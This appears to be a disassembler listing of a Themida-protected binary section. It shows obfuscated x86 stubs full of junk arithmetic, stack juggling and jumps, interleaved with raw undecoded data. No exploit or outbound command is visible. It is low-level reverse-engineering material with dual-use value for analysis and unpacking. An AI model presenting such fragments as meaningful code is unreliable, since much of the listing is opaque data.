loc_557F3B: ; CODE XREF: Themida_:0055F3D7j
or esi, ecx
mov ecx, [esp]
push 32BBh
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shl esi, 1
shl esi, 3
push edx
mov edx, 9775FBB0h
add esi, 5A3C0816h
jmp loc_551B84
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0BFh
dd 0E9598132h, 520Fh, 15ED815Fh, 316F8D0Eh, 0C6815DE9h
dd 6C48272Bh, 668CE01h, 89000029h, 0C3E92414h, 5300002Fh
dd 0B4F3E9h
db 0
; ---------------------------------------------------------------------------
loc_557F9D: ; CODE XREF: Themida_:00563131j
add ebx, eax
add ebx, 79453E8Dh
pop eax
jmp loc_5572AD
; ---------------------------------------------------------------------------
db 81h
dd 4C6h, 4EE8300h, 0FFC654E9h, 241489FFh, 632FE9h, 0ECEE8100h
dd 1031B5Dh, 0BE565EF2h, 4, 0CAD8E9h, 24248B00h, 24043166h
dd 7F35E99Ch, 0D1F7FFFFh, 6958E981h, 0E1C12E98h, 2AF18102h
dd 57221CDEh, 0C781E789h, 4, 52FFE9h
db 0
; ---------------------------------------------------------------------------
loc_558001: ; CODE XREF: Themida_:00557AF1j
sub eax, 4
xchg eax, [esp]
jmp loc_555089
; ---------------------------------------------------------------------------
aPAAs db 'P¸Äa>aé*:',0
dd 48B6600h, 0E6895624h, 4C681h, 0C6810000h, 2, 5C243487h
dd 244C0166h, 72686602h, 0A65CE93Eh, 2EBBFFFFh, 2135D756h
dd 0D0F75BD8h, 0BF4DC22Dh, 4C38192h, 297F740Bh, 4EB81C3h
dd 587F740Bh, 0FFD746E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558061: ; CODE XREF: Themida_:005560C3j
mov edx, 655011BAh
or ebx, edx
pop edx
xor ebx, 735B0A9Dh
sub ebx, 59D0E88h
dec ebx
sub ebx, 8E30B230h
sub edi, ebx
jmp loc_554E46
; ---------------------------------------------------------------------------
db 29h
dd 0CD30E9F1h, 0A768FFFFh, 89000030h, 0FE9242Ch, 87FFFFC3h
dd 0E95C243Ch, 4ED1h, 0E9243489h, 1D4h
; ---------------------------------------------------------------------------
loc_5580A8: ; CODE XREF: Themida_:00553A50j
add eax, 75EA5E1Fh
xor eax, 83D85E11h
push edx
jmp loc_553E26
; ---------------------------------------------------------------------------
dd 0F589FE89h, 0FF8BC4E9h, 814359FFh, 0F51E00E3h, 4C38120h
dd 89FFF000h, 0C9E95BDAh, 0B9000084h, 1E0E3BAEh, 0FF908EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5580E1: ; CODE XREF: Themida_:00557373j
mov ebx, esi
jmp loc_558FE1
; ---------------------------------------------------------------------------
dd 0ED240481h, 29167F66h, 2C812404h, 7F66ED24h, 59D56816h
dd 14890000h, 55B7BA24h, 0E2C119D7h, 51F96803h, 34890000h
dd 0A4E3E924h, 0D5890000h, 246C815Ah, 0A330B004h, 246C014Ch
dd 0B0BF5704h, 14CA330h, 0E908247Ch, 0FFFF93D5h
aNh0_0 db 'hÔ0',0 ; DATA XREF: Themida_:0054FC4Co
align 2
dw 3C89h
dd 5383BF24h, 1E680D37h, 89000041h, 0C7BE2434h, 293F3F52h
dd 56555EF0h, 5C55DBBEh, 5EF58952h, 0C21AE94Dh, 1C330000h
dd 50535C24h, 0FFE99CE9h, 0DBF181FFh, 0E90C2E74h, 5CAAh
; ---------------------------------------------------------------------------
loc_558178: ; CODE XREF: Themida_:00553CADj
neg eax
sub eax, 4D63112Ah
push ecx
mov ecx, 38636199h
and ecx, 3E2E6BAFh
shl ecx, 7
xor ecx, 46077F2Eh
sub ecx, 738E6E9Ch
xor eax, ecx
pop ecx
jmp loc_557861
; ---------------------------------------------------------------------------
aYvhna db 'YVha',0
dd 241C8900h, 0CC050EBBh, 0D0F3812Bh, 5740065Fh, 0FFFFFF68h
dd 0FB015FFFh, 0A524E9h
db 0
; ---------------------------------------------------------------------------
loc_5581C5: ; CODE XREF: Themida_:0055BB5Aj
pop eax
push 7DA9h
mov [esp], ebp
push esp
jmp loc_55BA72
; ---------------------------------------------------------------------------
dd 0E924048Fh, 0A703h, 652C2A35h, 8BC22923h, 0C4812404h
dd 4, 0FF9DA5E9h
db 0FFh
byte_5581F1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0054FD24o
dd 1058669Dh, 0E99C2404h, 0FFFF7D17h, 0E9240C89h, 6B3Fh
; ---------------------------------------------------------------------------
loc_558208: ; CODE XREF: Themida_:0055C791j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_55B6BA
; ---------------------------------------------------------------------------
dw 0EA89h
dd 56242C8Bh, 0C6815E54h, 4, 4C681h, 34870000h, 0DAF75C24h
dd 65B8504Ah, 974050Ah, 0D2F758C2h, 1910C281h, 0D1E9568Eh
dd 3300000Ah, 36E92434h
db 9Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55824F: ; CODE XREF: Themida_:00565082j
mov [esp], ecx
mov ecx, 62DAF1B6h
sub edx, ecx
pop ecx
sub ecx, edx
mov edx, [esp]
add esp, 4
add ebp, ecx
pop ecx
jmp loc_553FB6
; ---------------------------------------------------------------------------
db 57h, 0BFh, 83h
dd 0D120E324h, 0E9D7F7EFh, 8139h, 2BEh, 5EF72900h, 554068h
dd 240C8900h, 0C181E189h, 4, 8F87E9h
db 0
; ---------------------------------------------------------------------------
loc_558299: ; CODE XREF: Themida_:0055750Dj
add eax, 267809E2h
mov ecx, eax
mov eax, [esp]
add esp, 4
mov eax, ecx
pop ecx
mov ebp, 25F609DFh
jmp loc_5654BD
; ---------------------------------------------------------------------------
loc_5582B6: ; CODE XREF: Themida_:00550B7Cj
mov [esp], edx
mov edx, esp
push ecx
push 3D116463h
pop ecx
or ecx, 36082E7Ah
dec ecx
shl ecx, 3
push esi
mov esi, 0F8CB73CCh
add ecx, 0A7E5EDDh
sub ecx, esi
sub ecx, 0A7E5EDDh
pop esi
add edx, ecx
jmp loc_55C645
; ---------------------------------------------------------------------------
dword_5582E8 dd 24048B66h, 27666857h, 0B6680000h, 8900000Eh, 4812424h
; DATA XREF: Themida_:0054FCE8o
dd 424h, 24048F00h, 4240483h, 52243C8Bh, 0C281E289h, 4
dd 3304C283h, 14312414h, 24143324h, 0BD55535Ch, 5CE839EFh
dd 60AA70BBh, 0CAC1E9AAh
db 2 dup(0FFh)
word_558332 dw 77FFh ; DATA XREF: Themida_:0054FECCo
dd 11589D1Ch, 0E99C2404h, 0FFFF7BD7h, 4FA4E581h, 0B8504D30h
dd 1A4E156Eh, 0F7D0F748h, 40D0F7D8h, 5304E8C1h, 0FFD52FE9h
dd 0B8EB80FFh, 0FFC0B60Fh, 34FF8734h, 24048B24h, 81E28952h
dd 4C2h, 4C28300h, 31241433h, 2E92414h, 89000057h, 4C381E3h
dd 55000000h, 0B960E9h
db 0
; ---------------------------------------------------------------------------
loc_558391: ; CODE XREF: Themida_:0055C85Aj
push 651B558Bh
jmp loc_55B8DD
; ---------------------------------------------------------------------------
loc_55839B: ; CODE XREF: Themida_:0055F62Dj
push ebx
mov ebx, esp
push ecx
mov ecx, 261363A7h
xor ecx, 3E3C0F23h
jmp loc_55EDB3
; ---------------------------------------------------------------------------
db 66h
dd 81241C8Bh, 2C4h, 2EC8300h, 0FFB0D9E9h, 4C181FFh, 0E9000000h
dd 0FFFFB6BDh, 66E2ED81h, 0FD0104E9h, 66E2C581h, 3C8B04E9h
dd 4C48324h, 2C581h, 0CE90000h, 33000062h, 0F6E9243Ch
dd 58FFFFB7h, 3503E8C1h, 444D38CFh, 0BF58C689h, 0AD0E3382h
dd 15EF729h, 0DE015FFEh, 22ABEE81h, 525B67C9h, 9C4437BAh
dd 0E9D62918h, 0FFFFEC59h, 0A7BE5655h, 8138E40Eh, 364B9CCEh
dd 32C68135h, 4E58102Ch, 69C9EE81h, 0E9521E27h, 733Ah
dd 33241431h, 525C2414h, 206C68h, 243C8900h, 0F01B5DBFh
dd 0CEF7E950h, 26BAFFFFh, 8921DB26h, 0E9895AD5h, 0CFF515Dh
dd 2414F724h, 90E95159h
db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558473: ; CODE XREF: Themida_:00555C70j
mov [esp], eax
mov eax, 2926F78h
sub eax, 0D9834B77h
add ecx, 7FB00BADh
add ecx, eax
sub ecx, 7FB00BADh
pop eax
sub ecx, esi
push edx
mov edx, 159C5381h
jmp loc_5620AC
; ---------------------------------------------------------------------------
loc_55849C: ; CODE XREF: Themida_:005553AEj
xchg eax, [esp]
mov esp, [esp]
loc_5584A2: ; CODE XREF: Themida_:00551B92j
push 6827h
mov [esp], edx
push eax
push ebx
jmp loc_556D19
; ---------------------------------------------------------------------------
loc_5584B1: ; CODE XREF: Themida_:0055548Fj
mov eax, edx
mov esi, eax
push dword ptr [esp]
pop eax
add esp, 4
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5529EA
; ---------------------------------------------------------------------------
db 81h
dd 5B0D99C1h, 0E9CF010Ch, 733Ah
dword_5584E0 dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF7A27h, 4EB75366h
; DATA XREF: Themida_:0054FD78o
dd 0FFCD8DE9h, 42C681FFh, 4E372B10h, 0E681D6F7h, 24DE2D15h
dd 2FDBF57h, 0EFC17509h, 0F7814703h, 2645549Bh, 88C7814Fh
dd 81266E34h, 0F4C27CC7h, 0BDCAE9FDh, 0C1810000h, 175F580Bh
dd 159CA89h, 5A082454h, 4246C81h, 5CF45C97h, 79D1E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558546: ; CODE XREF: Themida_:00550645j
; Themida_:loc_551E45j ...
push dword ptr [edi+24h]
push edx
mov edx, 3239136Ch
add [esp+4], edx
pop edx
push dword ptr [esp]
pop ecx
jmp loc_5645E4
; ---------------------------------------------------------------------------
db 4, 0A7h, 0E9h
dd 308Dh
; ---------------------------------------------------------------------------
loc_558564: ; CODE XREF: Themida_:00560B28j
pop dword ptr [edi+20h]
add dword ptr [edi+20h], 23801BF5h
jmp loc_5558D0
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483242Ch, 4EC8304h, 0FF243C89h, 5F042474h, 8B24048Fh
dd 34892424h, 2474FF24h, 27E95E04h, 58FFFF8Dh, 0EBAE9h
dd 34FF5900h, 0C4815924h, 4, 4BB53h, 0C1810000h, 9E02F7h
dd 0ACE9D901h
db 8Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5585BB: ; CODE XREF: Themida_:0055B5E1j
push ebx
jmp loc_55252D
; ---------------------------------------------------------------------------
aWDbs db 'W¿Ñ*¤béÜ]',0
align 4
dd 0C581DDF7h, 0F247FD26h, 565DEE29h, 0B919E9h, 5AD70100h
dd 8704C783h, 0D6E9243Ch
db 8Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5585EB: ; CODE XREF: Themida_:00553F97j
and eax, ebx
jmp loc_55198C
; ---------------------------------------------------------------------------
dw 0C380h
dd 31C38028h, 80F8C380h, 0DA88BDEBh, 0E9CAFE5Bh, 0BC07h
dd 2A6CA205h, 0E9535100h, 3C95h, 5358C389h, 0FE242C81h
dd 5E785A3Fh, 3FFEC681h, 34FF785Ah, 0C4835B24h, 2434FF04h
dd 4C4815Dh, 81000000h, 5E0BE9CEh, 0F871E96Ah, 885BFFFFh
dd 42E958E7h, 50000024h, 405E089h, 0E9000000h, 0FFFFDEFCh
dd 4C481h, 0D0010000h, 0E924148Bh, 844Fh
; ---------------------------------------------------------------------------
loc_558668: ; CODE XREF: Themida_:0055F16Aj
pop esi
jmp loc_55AB2B
; ---------------------------------------------------------------------------
dw 56BBh
dd 81434337h, 0FD65B0F3h, 81DBF76Ah, 41AD1EF3h, 0E9D901D6h
dd 0FFFF7BE9h, 4BE5645h, 1A36A98h, 0EE815EF5h, 0F6206C5h
dd 7345C681h, 0EE016861h, 7345EE81h, 0C6816861h, 0F6206C5h
dd 0FF9941E9h, 58E730FFh, 34FFF828h, 241C8B24h, 5704C483h
dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h, 8B243C33h
dd 52662424h, 88E9BCB6h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5586E3: ; CODE XREF: Themida_:0055A90Ej
xchg eax, [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
push ebp
jmp loc_5648B9
; ---------------------------------------------------------------------------
dw 0F281h
dd 32E140FBh, 2ACDF281h, 0DAF72E77h, 7C6C281h, 4AE98E3Dh
db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558717: ; CODE XREF: Themida_:00561960j
sub eax, esi
pop esi
mov esi, [esp]
add esp, 4
jmp loc_560B7E
; ---------------------------------------------------------------------------
db 50h, 0B8h, 2
dd 1000000h, 0D7CBE9C3h, 0EEC1FFFFh, 6DCE8106h, 817C7307h
dd 88498AC6h, 0A7F68144h, 29EC73BAh, 24348BF7h, 0E904C483h
dd 0FFFFC3F8h, 0ADC58166h, 0DD296636h, 0ADED8166h, 2434FF36h
dd 7523E9h, 24248B00h, 7CF6E9h, 4EC8100h, 89000000h, 0E956241Ch
dd 928Ch
; ---------------------------------------------------------------------------
loc_558780: ; CODE XREF: Themida_:00564B80j
pop edx
jmp loc_559B24
; ---------------------------------------------------------------------------
dw 0FD09h
dd 4EC835Fh, 0B9240C89h, 5E037525h, 0F703E9C1h, 6E9C1D9h
dd 11A6BB53h, 0D93177F0h, 8BCD315Bh, 0C483240Ch, 5EF52904h
dd 0FFA61DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5587B5: ; CODE XREF: Themida_:00562E50j
mov esi, edx
jmp loc_557372
; ---------------------------------------------------------------------------
dword_5587BC dd 24048B66h, 0C164E953h, 4BBFFFFh, 29000000h, 2DC3E9D9h
; DATA XREF: Themida_:0054FE1Co
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5587D2: ; CODE XREF: Themida_:0055BC11j
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_551C4D
; ---------------------------------------------------------------------------
aISb db '‰,$é³',0
db 0
; ---------------------------------------------------------------------------
loc_5587EB: ; CODE XREF: Themida_:00565236j
push ebx
mov ebx, 4
add [esp+4], ebx
pop ebx
jmp loc_551DEE
; ---------------------------------------------------------------------------
db 0BEh
dd 3B6C1CAFh, 0FFB393E9h, 0FA685AFFh, 89000026h, 74FF240Ch
dd 34FF0424h, 54575924h, 72B9515Fh, 0E976980Ah, 0B710h
dd 6042ED81h, 98E917EAh, 0CCh, 2EC81D8h, 66000000h, 0B6241489h
dd 66F00034h, 4EC815Ah, 89000000h, 0EC832414h, 240C8904h
dd 4DF4E9h
db 0
off_558855 dd offset dword_457444+8224h ; DATA XREF: Themida_:0054FC74o
align 2
dw 0C89h
dd 4EC8124h, 89000000h, 9ABF243Ch, 0B937EB68h, 42DFCBBBh
dd 49E6E9h
db 0
; ---------------------------------------------------------------------------
loc_558875: ; CODE XREF: Themida_:00563399j
pop esi
xor [esp], esi
xor esi, [esp]
xor [esp], esi
push dword ptr [esp]
jmp loc_553C65
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 243C8900h, 0E563E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558896: ; CODE XREF: Themida_:0055981Bj
sub edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
push eax
mov eax, 4D8902BAh
and eax, 53361BDCh
shr eax, 7
dec eax
push ebp
push 0
pop ebp
sub ebp, eax
jmp loc_558A5A
; ---------------------------------------------------------------------------
db 0BEh
dd 461571A4h, 0B00BD55h, 0E5C1183Eh, 55C58106h, 21048760h
dd 242C8BEEh, 4C481h, 0F6810000h, 321E1E74h, 348B5956h
dd 4C48124h, 50000000h, 0E27D05B8h, 0E9C1214Ah, 8C86h
; ---------------------------------------------------------------------------
loc_5588FC: ; CODE XREF: Themida_:0056203Dj
mov edx, 23648A9h
dec edx
xor edx, 0B914222h
not edx
push 0
sub [esp], edx
mov edx, [esp]
jmp loc_55B52F
; ---------------------------------------------------------------------------
dw 0FB68h
dd 89000067h, 83512414h, 48904ECh, 801E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55892E: ; CODE XREF: Themida_:0055FC08j
and eax, edi
push dword ptr [esp]
pop edi
jmp loc_558DC5
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0B6F7E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558942: ; CODE XREF: Themida_:005566ABj
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_552A40
; ---------------------------------------------------------------------------
byte_558955 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FD50o
dd 0FFA6D5E9h, 0E0BD55FFh, 0E95CCF24h, 1689h, 0F777EF81h
dd 0C38123EAh, 70480CA7h, 6240BA52h, 0DAF76663h, 702F281h
dd 0EA8112F3h, 6C2663F1h, 0DAF7E2D1h, 283E9h, 0E9E95F00h
db 0C8h, 2 dup(0FFh)
byte_558997 db 68h ; DATA XREF: Themida_:0054FDDCo
dd 226Dh, 68241489h, 40A365E6h, 0E6F2815Ah, 8340A365h
dd 148904ECh, 0C2E95024h, 1000036h, 5E042474h, 5624048Fh
dd 468h, 24348B00h, 8104C483h, 0DB042444h, 814C2141h, 83042444h
dd 109680Bh, 81042474h, 8304246Ch, 8109680Bh, 0DB04246Ch
dd 5E4C2141h, 0FF2434FFh, 92E92434h
db 57h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5589FB: ; CODE XREF: Themida_:00558D87j
push edx
jmp loc_557739
; ---------------------------------------------------------------------------
db 68h, 5Fh, 16h
dd 75E90000h
db 1Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A0B: ; CODE XREF: Themida_:005567DFj
add ecx, 4
add ecx, 4
push ecx
jmp loc_561FEE
; ---------------------------------------------------------------------------
db 0B7h, 47h, 80h
dd 0C7805EF7h, 5BFE88CBh, 5ED80h, 5C580F5h, 0FFE8005Ah
dd 0E9592434h, 6B3Dh, 0EB2542BEh, 42CEE901h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A46: ; CODE XREF: Themida_:005636EEj
sub esp, 4
mov [esp], eax
mov eax, 747B18DEh
push edi
jmp loc_550E25
; ---------------------------------------------------------------------------
loc_558A5A: ; CODE XREF: Themida_:005588BAj
push 79CEh
mov [esp], ebp
jmp loc_55750A
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 24348700h, 0FFE9505Ch, 89FFFF84h, 5D54242Ch, 70E4E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A82: ; CODE XREF: Themida_:00556B1Cj
mov ecx, esp
jmp loc_5559F5
; ---------------------------------------------------------------------------
aLS db '‹$$é',0Dh,0Ah,0
dd 81DDF700h, 1D22F1E5h, 42C5E948h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A9E: ; CODE XREF: Themida_:00557262j
xchg esi, [esp]
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 79FE29B9h
add edi, 8601D64Bh
jmp loc_554A34
; ---------------------------------------------------------------------------
loc_558ACB: ; CODE XREF: Themida_:00555E78j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_564455
; ---------------------------------------------------------------------------
loc_558AE1: ; CODE XREF: Themida_:00551BCAj
mov [esp], ebx
jmp loc_5595A7
; ---------------------------------------------------------------------------
byte_558AE9 db 55h, 56h, 0BEh ; DATA XREF: Themida_:0054FE04o
dd 441D79EAh, 43861E68h, 0C5815D51h, 15B65842h, 0ED81F529h
dd 15B65842h, 0BD55565Eh, 68542190h, 0CDA8E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558B12: ; CODE XREF: Themida_:0055DF46j
mov esi, [esp]
add esp, 4
jmp loc_55C829
; ---------------------------------------------------------------------------
dd 10558h, 0B70D0000h, 5720D702h, 7CBA4BFh, 7412DCCh, 0F82976BCh
dd 0BC074105h, 0C5895F76h, 8BEB2958h, 0C483242Ch, 0CBC38104h
dd 12BCF62h, 0CBEB81C3h, 552BCF62h, 0EA7D96BDh, 0D004E958h
dd 0F181FFFFh, 8852DC4Eh, 0BA0D78BEh, 2E6C15Eh, 0EEC1D6F7h
dd 0DEF68105h, 31583E19h, 0EC8159CEh, 4, 0FFABB7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558B89: ; CODE XREF: Themida_:00564A8Ej
push esi
push eax
push esi
mov esi, 146860BEh
mov eax, esi
pop esi
jmp loc_559A51
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0B8240489h, 5B4623FEh, 0E45AA235h, 73BD5502h, 0F71C265Ch
dd 8E93E9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558BB6: ; CODE XREF: Themida_:0055F3E7j
push dword ptr [esp]
mov eax, [esp]
jmp loc_559BA8
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 4240481h, 0FF000000h, 0E95F2434h, 9939h
; ---------------------------------------------------------------------------
loc_558BD4: ; CODE XREF: Themida_:00561082j
jmp loc_54FF17
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd offset loc_41D7E9
dd 80D30000h, 0E95ACDEBh, 7DE9h, 224448Ah, 2247C88h, 0FF76ADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558BF9: ; CODE XREF: Themida_:005547D5j
pop esi
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_563C19
; ---------------------------------------------------------------------------
dd 5D97EA81h, 0D301551Ah, 81FB295Ah, 5334C7EBh, 0A7EB816Ch
dd 8B70480Ch, 90E9243Ch, 6600002Bh, 8766D2F7h, 0C38166D3h
dd 11E96177h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558C43: ; CODE XREF: Themida_:00562372j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55279C
; ---------------------------------------------------------------------------
loc_558C59: ; CODE XREF: Themida_:0055BCAAj
add esi, ecx
pop ecx
pop edx
xor esi, [esp]
xor [esp], esi
jmp loc_55A4BE
; ---------------------------------------------------------------------------
dd 0E848552Dh, 58C229D1h, 0F5E9C909h, 86FFFFABh, 80C4FECCh
dd 0E4C001C4h, 41E48003h, 6601EC80h, 0C8B151h, 805966CCh
dd 0E953FFC4h, 0C715h
; ---------------------------------------------------------------------------
loc_558C98: ; CODE XREF: Themida_:00550FA5j
pop edi
xor ecx, 1CACF1A7h
add edx, ecx
pop ecx
push edi
mov edi, 4
jmp loc_560703
; ---------------------------------------------------------------------------
db 50h, 89h, 0E0h
dd 405h, 0D8E95700h, 830000BDh, 0EC8104C4h, 4, 0FFDE0BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558CC9: ; CODE XREF: Themida_:0055EA94j
add edx, 6F884B2Ch
jmp loc_562DDE
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0C481240Ch, 4, 5304C483h, 5F3F39BBh, 51E98170h
dd 29752740h, 51B850D9h, 0E9752740h, 0FFFFCBE7h
dword_558CFC dd 0FF2434FFh, 0D5E92434h, 89000095h, 0E589242Ch, 4C581h
; DATA XREF: Themida_:0054FE50o
dd 0E9520000h, 5C25h, 2DB3BE56h, 0F23112EFh, 0D160E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558D26: ; CODE XREF: Themida_:00555EF8j
sub esp, 4
mov [esp], ebx
mov ebx, 75BD1575h
jmp loc_55C693
; ---------------------------------------------------------------------------
dw 0F829h
a_ISxyhx db '_-©',0Bh,'‘xYh•',0
align 4
dd 0E9243489h, 0FFFF9A5Ch
; ---------------------------------------------------------------------------
loc_558D4C: ; CODE XREF: Themida_:00563592j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_554F80
; ---------------------------------------------------------------------------
loc_558D71: ; CODE XREF: Themida_:00555864j
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_5589FB
; ---------------------------------------------------------------------------
dd 3A64F381h, 0F3810DAEh, 50CB33C8h, 9205C381h, 0AFE94CD1h
dd 5000093h, 351301C3h, 96268h, 24348900h, 4F0168h, 240C8900h
dd 0A03FDAB9h, 2E1C131h, 451EE9h
db 0
; ---------------------------------------------------------------------------
loc_558DC5: ; CODE XREF: Themida_:00558934j
push eax
jmp loc_55B8F6
; ---------------------------------------------------------------------------
byte_558DCB db 66h ; DATA XREF: Themida_:0054FCA0o
dd 0E924048Bh, 17D9h, 0E95EF209h, 9539h, 5FFE0159h, 8B243487h
dd 0EC832424h, 0C8E9E904h, 0E95EFFFFh, 14E0h, 5D82959h
dd 2B5561CBh, 9BB0E9h
db 0
; ---------------------------------------------------------------------------
loc_558E01: ; CODE XREF: Themida_:00561DE7j
pop edx
jmp loc_559985
; ---------------------------------------------------------------------------
loc_558E07: ; CODE XREF: Themida_:00551706j
add esp, 4
push 2414h
mov [esp], ebx
mov ebx, 77077B92h
sub ebx, 3D2F0A16h
push ebp
mov ebp, 5020283Dh
sub eax, ebp
mov ebp, [esp]
jmp loc_560DDE
; ---------------------------------------------------------------------------
dd 0BA241489h, 4200408Eh, 1E5FCA81h, 814A38D5h, 86E23BC2h
dd 0E9D00193h, 1A74h, 4C381h, 40E90000h, 8BFFFFC2h, 0C4812404h
dd 4, 0BDD7E9h
db 0
; ---------------------------------------------------------------------------
loc_558E65: ; CODE XREF: Themida_:00554783j
pop edx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55019B
; ---------------------------------------------------------------------------
db 1, 0D1h, 5Ah
aWsu4 db 'Wéž4',0
align 2
loc_558E7E: ; CODE XREF: Themida_:0055B15Bj
push ecx
jmp loc_55BBC6
; ---------------------------------------------------------------------------
loc_558E84: ; CODE XREF: Themida_:00564999j
sub esp, 4
mov [esp], edi
mov edi, 0EB20E21Ch
xor eax, edi
pop edi
xor ecx, eax
pop eax
push esi
sub esp, 4
mov [esp], eax
mov eax, 4290061Ch
jmp loc_55147A
; ---------------------------------------------------------------------------
dw 0C381h
dd 7FA25286h, 0EB81D3F7h, 998412Eh, 9BE9DF29h, 89000087h
dd 405E0h, 0BA520000h, 4, 712B4A05h, 2DD02950h, 50712B4Ah
dd 5A2434FFh, 0FF8E0AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558EDD: ; CODE XREF: Themida_:0055FAC1j
pop edx
sub ecx, ebx
push eax
mov eax, 505B432Dh
shr eax, 5
jmp loc_5653E5
; ---------------------------------------------------------------------------
loc_558EEE: ; CODE XREF: Themida_:0055EF65j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
sub edx, 34865EEAh
add edx, eax
jmp loc_54FFC2
; ---------------------------------------------------------------------------
dd 68241489h, 4, 7942E9h, 59C83100h, 0FF911FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558F1D: ; CODE XREF: Themida_:0055489Bj
mov [esp], ebx
xor dword ptr [esp], 254474EDh
pop eax
xor eax, 254474EDh
push edi
push eax
mov eax, 3AB0B24h
mov edi, 6CE70CA3h
sub edi, eax
jmp loc_563D39
; ---------------------------------------------------------------------------
dd 8A9BF57h, 0FB0958FDh, 0E9243C8Bh, 4EFCh, 6624248Bh
dd 8124048Bh, 4ECh, 242C8900h, 85DBE9h, 241C8700h, 0FFC244E9h
dd 57C581FFh, 817DBC56h, 373470C5h, 0B5C3817Eh, 10DD61Ah
dd 3D74E9EBh, 0DE890000h, 8AEAE95Bh, 248BFFFFh, 0A30F6624h
dd 0E99C2404h, 0FFFF6F7Bh, 9C240CFEh, 0FF6F72E9h, 24348BFFh
dd 3304C483h, 4312404h, 24043324h, 0E924248Bh, 8AFDh, 5F2434FFh
dd 9401E9h, 0CDEE8000h, 88F38853h, 5A665BD9h, 77E96C04h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558FD7: ; CODE XREF: Themida_:00560644j
push 538Bh
jmp loc_55F0AB
; ---------------------------------------------------------------------------
loc_558FE1: ; CODE XREF: Themida_:005580E3j
pop esi
sub ebx, 0FFFFFFFFh
or ebx, 5C213417h
and ebx, 5A087A8Eh
jmp loc_552CD1
; ---------------------------------------------------------------------------
dw 0CA01h
dd 24143359h, 33241431h, 248B2414h, 971AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55900A: ; CODE XREF: Themida_:0055BE08j
mov cl, bh
jmp loc_55636A
; ---------------------------------------------------------------------------
loc_559011: ; CODE XREF: Themida_:00556D96j
or edx, eax
shl edx, 1
push 2028h
jmp loc_55BB40
; ---------------------------------------------------------------------------
loc_55901F: ; CODE XREF: Themida_:00557BE0j
pop edi
add edx, 619E5B78h
jmp loc_559E69
; ---------------------------------------------------------------------------
db 0FFh
a4SS db '4$霑',0
dw 8900h
dd 0EC835BD9h, 24048904h, 1207A5B8h, 14F75032h, 0FC055824h
dd 68328159h, 35EDh, 2C3E9h, 6EDC100h, 0FFC9B8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55905D: ; CODE XREF: Themida_:00551D9Dj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5542A8
; ---------------------------------------------------------------------------
